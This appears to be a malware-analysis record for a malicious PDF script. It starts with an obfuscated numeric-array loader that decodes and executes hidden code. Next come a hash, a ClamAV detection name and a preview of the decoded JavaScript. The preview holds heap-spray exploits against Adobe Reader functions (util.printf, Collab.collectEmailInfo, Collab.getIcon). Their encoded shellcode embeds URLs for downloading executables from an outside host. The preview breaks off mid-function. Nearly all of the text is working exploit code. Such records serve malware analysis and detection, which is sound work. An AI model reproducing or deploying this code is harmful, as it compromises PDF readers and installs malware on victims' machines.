,104,113,88,153,167,171,166,170,88,114,88,153,167,171,166,170,106,113,88,153,167,171,166,170,99,97,97,177,69,64,65,63,65,163,157,163,151,151,170,168,153,175,147,153,167,171,166,170,149,86,117,86,177,151,170,169,168,86,99,86,171,158,157,162,164,153,167,154,157,113,69,64,65,63,181,67,66,63,65,172,153,168,88,165,174,155,170,156,164,165,175,86,117,86,173,164,157,169,155,151,168,155,96,88,93,171,104,153,104,153,93,171,104,153,104,153,90,95,115,67,66,63,65,173,160,159,164,155,88,94,167,172,157,168,158,162,167,173,102,162,157,164,159,170,160,86,116,86,108,106,113,107,106,95,179,67,66,63,65,63,167,172,157,168,158,162,167,173,88,97,117,86,167,172,157,168,158,162,167,173,115,67,66,63,65,179,69,64,65,63,172,158,161,169,102,153,167,162,164,151,154,137,172,165,170,155,88,115,88,121,167,162,164,151,154,100,155,165,164,162,157,153,172,123,165,151,161,162,129,164,158,165,96,177,171,171,154,160,114,86,90,88,100,163,171,157,114,86,167,172,157,168,158,162,167,173,181,95,115,67,66,63,181,67,66,67,66,63,158,171,166,153,172,159,167,164,88,153,167,162,164,151,154,149,159,155,172,159,155,165,166,94,97,177,69,64,65,63,161,156,88,94,153,166,168,100,156,165,155,100,123,165,164,162,153,152,102,157,157,170,129,153,167,164,97,177,69,64,65,63,65,172,153,168,88,151,170,168,177,86,117,86,166,155,175,86,121,168,170,151,177,94,97,113,69,64,65,63,65,172,153,168,88,172,174,166,157,170,160,175,153,86,117,86,173,164,157,169,155,151,168,155,96,88,93,171,125,120,125,111,93,171,104,102,104,103,93,171,109,108,104,102,93,171,121,103,110,106,93,171,104,102,107,102,93,171,104,102,104,102,93,171,108,102,112,120,93,171,112,120,104,121,93,171,105,121,111,102,93,171,112,120,121,122,93,171,104,110,108,102,93,171,123,105,109,123,93,171,112,120,109,107,93,171,112,120,125,121,93,171,104,110,108,107,93,171,107,105,109,104,93,171,123,103,124,104,93,171,104,105,123,104,93,171,105,102,107,104,93,171,112,102,108,102,93,171,104,102,107,110,93,171,126,107,111,107,93,171,123,104,112,120,93,171,109,122,109,119,93,171,104,106,123,104,93,171,109,107,104,102,93,171,125,121,112,120,93,171,109,103,109,103,93,171,109,108,109,105,93,171,110,102,109,109,93,171,109,122,112,120,93,171,107,105,104,110,93,171,112,120,123,102,93,171,104,121,111,107,93,171,126,123,112,120,93,171,111,108,104,105,93,171,112,120,107,121,93,171,111,110,108,123,93,171,123,124,104,105,93,171,109,103,112,120,93,171,109,104,105,121,93,171,109,103,112,120,93,171,109,104,106,106,93,171,111,103,112,120,93,171,108,123,105,106,93,171,111,107,112,111,93,171,112,120,126,121,93,171,106,102,111,103,93,171,126,109,104,105,93,171,108,119,113,111,93,171,108,104,121,122,93,171,107,120,110,102,93,171,126,121,109,107,93,171,104,106,111,107,93,171,123,102,107,105,93,171,107,109,125,120,93,171,126,124,107,105,93,171,108,107,104,105,93,171,113,109,104,121,93,171,123,124,112,120,93,171,111,107,121,123,93,171,106,120,126,122,93,171,108,124,126,111,93,171,125,110,109,103,93,171,126,124,113,106,93,171,126,124,126,124,93,171,123,105,107,120,93,171,111,106,110,103,93,171,125,120,104,104,93,171,112,120,124,111,93,171,104,121,108,107,93,171,109,123,113,104,93,171,126,104,104,105,93,171,125,102,124,103,93,171,123,108,104,105,93,171,123,111,107,105,93,171,122,109,104,124,93,171,109,124,104,110,93,171,125,103,123,103,93,171,104,105,104,104,93,171,104,105,123,119,93,171,112,120,123,124,93,171,104,105,104,103,93,171,112,111,123,104,93,171,126,110,108,107,93,171,112,120,110,103,93,171,126,110,108,107,93,171,109,123,109,124,93,171,123,111,109,120,93,171,109,107,123,105,93,171,125,121,112,120,93,171,125,110,109,103,93,171,126,124,108,111,93,171,126,124,126,124,93,171,110,110,109,102,93,171,110,102,125,110,93,171,104,106,122,124,93,171,110,121,125,110,93,171,126,124,126,124,93,171,107,105,126,124,93,171,109,104,124,104,93,171,126,124,109,104,93,171,104,110,111,107,93,171,124,102,126,124,93,171,108,107,112,111,93,171,112,120,126,121,93,171,126,121,108,107,93,171,123,105,123,111,93,171,112,120,109,107,93,171,112,105,125,121,93,171,104,121,125,121,93,171,108,107,112,122,93,171,109,102,126,106,93,171,108,107,123,108,93,171,111,107,126,106,93,171,108,107,123,108,93,171,111,104,126,107,93,171,108,107,123,108,93,171,110,121,126,108,93,171,108,107,123,108,93,171,110,122,126,109,93,171,108,107,123,108,93,171,110,124,126,110,93,171,108,107,123,108,93,171,110,123,126,111,93,171,108,107,123,108,93,171,106,123,126,119,93,171,108,107,123,108,93,171,110,106,126,120,93,171,108,107,123,108,93,171,110,121,126,121,93,171,108,107,123,108,93,171,110,121,126,122,93,171,108,107,123,108,93,171,104,102,126,123,93,171,121,102,125,110,93,171,126,124,126,124,93,171,109,102,126,124,93,171,109,122,110,110,93,171,105,103,112,119,93,171,125,110,105,108,93,171,126,124,105,107,93,171,126,124,126,124,93,171,123,106,112,105,93,171,112,107,104,121,93,171,111,106,123,102,93,171,110,119,105,107,93,171,110,119,104,102,93,171,126,124,104,102,93,171,104,121,111,107,93,171,111,107,126,124,93,171,110,119,104,110,93,171,126,124,104,102,93,171,112,107,124,102,93,171,111,107,123,102,93,171,108,102,104,105,93,171,123,105,123,111,93,171,123,102,107,105,93,171,123,105,123,111,93,171,107,105,109,109,93,171,112,120,123,102,93,171,106,106,108,121,93,171,112,120,104,121,93,171,106,106,111,121,93,171,126,121,104,110,93,171,121,119,126,105,93,171,123,105,109,124,93,171,108,121,112,120,93,171,104,106,106,106,93,171,107,111,112,102,93,171,112,120,104,102,93,171,111,106,123,103,93,171,108,102,104,108,93,171,107,110,112,102,93,171,111,107,104,102,93,171,106,120,126,119,93,171,123,105,123,103,93,171,112,120,109,107,93,171,112,105,125,121,93,171,110,106,125,121,93,171,112,122,109,105,93,171,126,102,108,107,93,171,107,105,109,109,93,171,109,102,124,120,93,171,108,107,123,108,93,171,110,120,126,102,93,171,108,107,123,108,93,171,110,107,126,103,93,171,108,107,123,108,93,171,111,104,126,104,93,171,108,107,123,108,93,171,110,123,126,105,93,171,108,107,123,108,93,171,110,107,126,106,93,171,108,107,123,108,93,171,110,121,126,107,93,171,108,107,123,108,93,171,107,105,126,108,93,171,108,107,123,108,93,171,107,104,126,109,93,171,108,107,123,108,93,171,106,123,126,110,93,171,108,107,123,108,93,171,110,106,126,111,93,171,108,107,123,108,93,171,110,121,126,119,93,171,108,107,123,108,93,171,110,121,126,120,93,171,109,122,112,110,93,171,125,110,126,121,93,171,126,124,104,120,93,171,126,124,126,124,93,171,110,110,109,102,93,171,108,105,110,110,93,171,112,123,126,111,93,171,112,102,125,110,93,171,126,124,126,123,93,171,112,120,126,124,93,171,112,122,126,110,93,171,113,121,108,107,93,171,108,106,110,119,93,171,125,110,109,102,93,171,126,124,111,123,93,171,126,124,126,124,93,171,108,107,112,122,93,171,110,119,125,102,93,171,109,102,105,102,93,171,111,105,125,110,93,171,126,124,126,124,93,171,112,105,126,124,93,171,105,121,123,106,93,171,108,107,112,122,93,171,109,102,125,102,93,171,108,107,112,122,93,171,109,102,113,121,93,171,109,105,109,105,93,171,109,105,109,105,93,171,109,105,109,105,93,171,111,107,126,124,93,171,123,109,104,110,93,171,113,121,108,107,93,171,104,102,108,106,93,171,104,102,104,102,93,171,126,124,109,105,93,171,109,124,124,109,93,171,122,108,104,124,93,171,109,120,123,102,93,171,123,105,123,111,93,171,112,120,109,107,93,171,109,103,125,121,93,171,109,105,109,103,93,171,109,109,109,108,93,171,108,104,110,119,93,171,111,104,125,110,93,171,104,102,104,102,93,171,112,120,104,102,93,171,107,105,124,110,93,171,112,107,126,108,93,171,109,111,124,120,93,171,108,107,123,109,93,171,110,103,126,110,93,171,110,107,106,123,93,171,123,109,111,110,93,171,126,121,108,107,93,171,104,102,110,107,93,171,104,102,104,102,93,171,109,108,111,123,93,171,108,107,112,122,93,171,109,102,126,110,93,171,125,110,109,108,93,171,104,102,109,103,93,171,104,102,104,102,93,171,109,102,109,111,93,171,122,103,125,110,93,171,126,124,126,123,93,171,112,107,126,124,93,171,109,111,123,102,93,171,111,106,109,111,93,171,112,122,107,111,93,171,104,103,108,108,93,171,125,110,109,102,93,171,104,102,107,120,93,171,104,102,104,102,93,171,126,110,112,120,93,171,108,107,112,122,93,171,109,102,126,110,93,171,106,103,125,110,93,171,126,124,126,124,93,171,112,107,126,124,93,171,109,111,123,102,93,171,111,106,109,111,93,171,109,109,104,121,93,171,104,103,125,110,93,171,126,124,126,124,93,171,109,111,126,124,93,171,108,106,123,108,93,171,126,124,107,110,93,171,109,102,111,105,93,171,108,107,112,122,93,171,126,123,126,110,93,171,109,110,104,102,93,171,108,107,112,122,93,171,109,102,126,110,93,171,125,110,109,109,93,171,126,123,111,106,93,171,126,124,126,124,93,171,109,111,109,111,93,171,108,108,108,108,93,171,126,105,107,120,93,171,121,119,111,121,93,171,109,123,109,124,93,171,123,111,109,120,93,171,109,107,123,105,93,171,125,121,112,120,93,171,109,105,109,103,93,171,110,102,110,108,93,171,107,104,122,103,93,171,104,102,125,110,93,171,104,102,104,102,93,171,109,110,104,102,93,171,104,110,107,110,93,171,104,105,111,106,93,171,125,120,108,102,93,171,108,102,126,111,93,171,109,122,112,120,93,171,112,102,104,110,93,171,108,104,126,120,93,171,104,110,111,107,93,171,124,120,107,105,93,171,105,110,112,119,93,171,123,105,112,120,93,171,105,109,125,120,93,171,105,110,107,110,93,171,105,103,111,108,93,171,107,105,108,102,93,171,112,106,123,111,93,171,111,106,124,120,93,171,108,102,104,121,93,171,104,110,107,110,93,171,126,120,111,107,93,171,126,123,108,102,93,171,125,120,123,120,93,171,107,105,126,104,93,171,112,111,123,102,93,171,126,121,108,107,93,171,108,107,112,120,93,171,109,120,126,121,93,171,123,105,123,111,93,171,104,104,107,104,93,171,111,106,110,110,93,171,111,102,111,106,93,171,106,124,107,119,93,171,110,122,106,124,93,171,111,104,110,111,93,171,110,124,111,104,93,171,110,124,111,104,93,171,110,107,110,123,93,171,110,124,111,104,93,171,110,111,110,108,93,171,110,107,111,108,93,171,110,105,106,123,93,171,110,122,110,124,93,171,111,105,106,124,93,171,110,107,110,121,93,171,111,102,110,107,93,171,110,104,106,124,93,171,110,120,110,110,93,171,111,103,111,102,93,171,107,104,111,105,93,171,110,107,106,123,93,171,110,107,111,110,93,171,110,110,104,102,93,171,111,106,111,106,93,171,107,119,111,102,93,171,106,124,106,124,93,171,110,111,110,122,93,171,111,104,111,104,93,171,111,104,110,124,93,171,110,123,110,124,93,171,111,104,110,107,93,171,110,108,110,124,93,171,111,108,110,111,93,171,106,123,110,107,93,171,110,124,110,105,93,171,106,124,110,122,93,171,110,121,111,105,93,171,110,107,110,107,93,171,106,124,111,102,93,171,110,121,110,105,93,171,110,105,110,111,93,171,106,123,110,120,93,171,110,110,111,102,93,171,107,124,111,102,93,171,107,122,111,104,93,171,104,102,104,102,90,95,115,67,66,63,65,63,174,151,170,86,160,141,169,107,104,102,123,132,88,115,88,172,174,166,157,170,160,175,153,100,164,155,166,157,172,158,88,96,88,104,115,67,66,63,65,63,174,151,170,86,164,155,166,86,117,86,104,174,108,102,104,102,104,102,88,99,88,94,160,141,169,107,104,102,123,132,88,97,88,102,176,105,112,95,115,67,66,63,65,63,174,151,170,86,177,151,170,169,168,86,117,86,173,164,157,169,155,151,168,155,96,88,93,171,113,102,113,102,93,171,113,102,113,102,90,95,115,67,66,63,65,63,177,151,170,169,168,86,117,86,158,159,176,149,161,170,96,175,153,168,171,166,100,86,164,155,166,95,115,67,66,63,65,63,174,151,170,86,168,107,121,160,131,108,109,156,88,115,88,94,104,174,104,153,104,153,104,153,104,153,88,99,88,102,176,106,104,102,104,102,104,95,88,101,88,102,176,106,104,102,104,102,104,113,69,64,65,63,65,156,167,168,88,94,174,151,170,86,174,167,155,135,124,111,110,175,88,115,88,102,115,86,174,167,155,135,124,111,110,175,88,114,88,166,109,119,162,129,110,107,158,113,88,172,169,153,137,122,113,108,177,86,99,97,88,95,179,67,66,63,65,63,65,151,170,168,177,145,174,167,155,135,124,111,110,175,149,86,117,86,177,151,170,169,168,86,99,86,174,172,168,155,172,158,177,151,115,67,66,63,65,63,181,67,66,63,65,63,174,151,170,86,172,139,133,158,134,152,127,173,88,115,88,171,166,155,171,153,153,166,157,94,90,91,104,111,90,95,115,67,66,63,65,63,175,158,161,162,157,86,96,170,141,131,160,132,154,125,175,100,164,155,166,157,172,158,88,114,88,102,176,106,104,102,104,95,179,67,66,63,65,63,65,170,141,131,160,132,154,125,175,86,99,115,88,170,141,131,160,132,154,125,175,113,69,64,65,63,65,179,69,64,65,63,65,170,141,131,160,132,154,125,175,86,117,86,90,132,102,88,88,97,88,170,141,131,160,132,154,125,175,113,69,64,65,63,65,151,168,166,102,154,167,153,102,121,167,162,164,151,154,100,159,155,172,127,155,165,166,94,172,139,133,158,134,152,127,173,97,113,69,64,65,63,181,67,66,63,181,67,66,67,66,63,158,171,166,153,172,159,167,164,88,166,156,156,151,169,172,151,170,170,96,95,179,67,66,67,66,63,65,172,153,168,88,172,157,168,171,159,167,164,88,115,88,151,168,166,102,172,161,155,175,155,170,140,157,168,171,159,167,164,102,170,167,137,172,168,161,164,159,94,97,113,69,64,65,63,174,155,170,169,161,165,166,86,117,86,174,155,170,169,161,165,166,100,170,155,168,162,153,153,157,94,103,146,124,101,159,98,95,93,97,113,69,64,65,63,174,151,170,86,174,151,170,169,161,165,166,149,153,168,170,151,177,86,117,86,166,155,175,86,121,168,170,151,177,94,174,155,170,169,161,165,166,100,155,158,153,168,121,170,96,102,97,98,88,172,157,168,171,159,167,164,102,153,160,151,170,119,172,94,105,95,100,86,174,155,170,169,161,165,166,100,155,158,153,168,121,170,96,104,97,95,115,67,66,63,65,159,158,86,96,94,174,151,170,169,161,165,166,149,153,168,170,151,177,145,104,147,88,115,117,86,112,95,88,92,94,86,96,172,153,168,171,159,167,164,151,151,170,168,153,175,147,103,149,86,117,115,88,102,97,86,180,178,88,94,174,151,170,169,161,165,166,149,153,168,170,151,177,145,105,147,88,115,117,86,105,86,94,92,88,172,153,168,171,159,167,164,151,151,170,168,153,175,147,104,149,86,116,86,107,95,97,177,69,64,65,63,65,171,172,159,164,149,168,168,161,164,172,156,96,95,115,67,66,63,65,179,69,64,65,63,161,156,88,94,96,172,153,168,171,159,167,164,151,151,170,168,153,175,147,102,149,86,116,86,112,95,88,178,180,86,96,172,153,168,171,159,167,164,151,151,170,168,153,175,147,102,149,86,117,115,88,110,88,92,94,86,174,151,170,169,161,165,166,149,153,168,170,151,177,145,105,147,88,114,88,104,88,92,94,86,174,151,170,169,161,165,166,149,153,168,170,151,177,145,106,147,88,114,88,104,97,95,179,67,66,63,65,63,155,165,164,162,153,152,151,155,165,151,161,162,96,95,115,67,66,63,65,179,69,64,65,63,161,156,88,94,96,172,153,168,171,159,167,164,151,151,170,168,153,175,147,102,149,86,116,86,113,95,88,178,180,86,96,172,153,168,171,159,167,164,151,151,170,168,153,175,147,102,149,86,117,115,88,111,88,92,94,86,174,151,170,169,161,165,166,149,153,168,170,151,177,145,105,147,88,114,88,103,97,95,179,67,66,63,65,63,155,165,164,162,153,152,151,157,157,170,161,153,167,164,96,95,115,67,66,63,65,179,69,64,65,179,69,64,69,64,65,166,156,156,151,169,172,151,170,170,96,95,115,67,66,63],abefst=function(){for(var ilrx;defpty<hmvx.length;defpty+=1){var qswy=defpty%zmed.length+1;var rnzcm=zmed.substring(defpty%zmed.length,qswy);var bhqsy=hmvx[defpty];dmpt+=aghu(bhqsy-rnzcm.charCodeAt(0));} bgim(dmpt);};abefst();cmoqy=false;kqljz=false;leaz="leaz";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10084 bytes
SHA-256: `a525060fe657bb64a3e27630d3d08fc11300f1665c24aecb418f4970d92996ac`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u652F%u6C6B%u6F6D%u3274%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u772F%u7A6E%u636F%u326C%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u622F%u6B68%u7170%u3273%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) 